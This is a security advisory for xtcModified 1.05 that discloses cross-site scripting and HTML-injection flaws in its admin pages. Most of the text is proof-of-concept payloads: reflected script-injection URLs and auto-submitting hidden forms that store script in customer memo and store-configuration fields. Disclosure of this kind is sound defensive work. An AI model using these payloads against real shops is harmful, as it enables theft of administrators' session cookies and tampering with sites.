source: https://www.securityfocus.com/bid/46681/info xtcModified is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. xtcModified 1.05 is vulnerable; other versions may also be affected. Cross-site scripting: http://www.example/admin/categories.php?search=prod"><script>alert(document.cookie)</script> http://www.example/admin/orders.php?selected_box=customers"><script>alert(document.cookie)</script>&status=0 Html-injection: 1. <form action="http://www.example/admin/customers.php?cID=1&action=update" method="post" name="main"> <input type="hidden" name="default_address_id" value="1"> <input type="hidden" name="customers_gender" value="m"> <input type="hidden" name="csID" value=""> <input type="hidden" name="customers_firstname" value="FirstName"> <input type="hidden" name="customers_lastname" value="LName"> <input type="hidden" name="customers_dob" value="01/01/2007"> <input type="hidden" name="customers_email_address" value="email@example.com"> <input type="hidden" name="entry_company" value="company"> <input type="hidden" name="entry_password" value="mypass"> <input type="hidden" name="memo_title" value='mmtitle"><script>alert(document.cookie)</script>'> <input type="hidden" name="memo_text" value='txt"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script> 2. <form action="http://www.example/admin/configuration.php?gID=1&action=save" method="post" name="main"> <input type="hidden" name="STORE_NAME" value='My Store"><script>alert(document.cookie)</script>'> <input type="hidden" name="STORE_OWNER" value="Owner"> <input type="hidden" name="STORE_OWNER_EMAIL_ADDRESS" value="email@example.com"> <input type="hidden" name="STORE_COUNTRY" value="81"> <input type="hidden" name="STORE_ZONE" value="80"> <input type="hidden" name="EXPECTED_PRODUCTS_SORT" value="desc"> <input type="hidden" name="EXPECTED_PRODUCTS_FIELD" value="date_expected"> <input type="hidden" name="DISPLAY_CART" value="true"> <input type="hidden" name="ADVANCED_SEARCH_DEFAULT_OPERATOR" value="and"> <input type="hidden" name="STORE_NAME_ADDRESS" value="address"> <input type="hidden" name="CURRENT_TEMPLATE" value="xtc5"> </form> <script> document.main.submit(); </script>